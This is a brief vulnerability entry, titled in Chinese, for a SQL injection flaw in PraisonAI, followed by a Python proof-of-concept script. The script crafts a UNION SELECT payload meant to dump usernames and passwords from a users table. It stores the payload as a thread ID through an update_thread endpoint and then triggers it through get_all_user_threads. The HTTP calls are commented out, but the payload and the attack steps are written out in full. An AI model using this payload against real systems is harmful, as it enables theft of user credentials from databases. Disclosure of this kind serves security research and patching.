CVE-2026-34934 PraisonAI SQL注入漏洞

# PoC Concept for CVE-2026-34934 # Demonstrates how a malicious thread ID can trigger SQL Injection import requests TARGET = "http://localhost:8000" # The payload attempts to dump the users table # This ID is stored via update_thread malicious_id = "' UNION SELECT username, password FROM users--" def exploit(): print(f"[*] Attempting to inject payload via update_thread: {malicious_id}") # Step 1: Store the malicious thread ID update_data = { "thread_id": malicious_id, "content": "Exploitation attempt" } # response = requests.post(f"{TARGET}/api/update_thread", json=update_data) # Step 2: Trigger the vulnerability by loading threads # The app calls get_all_user_threads which constructs SQL like: # SELECT * FROM threads WHERE id = '{malicious_id}' print("[*] Triggering get_all_user_threads to execute payload...") # response = requests.get(f"{TARGET}/api/get_all_user_threads") print("[!] If vulnerable, database data is leaked.") if __name__ == "__main__": exploit()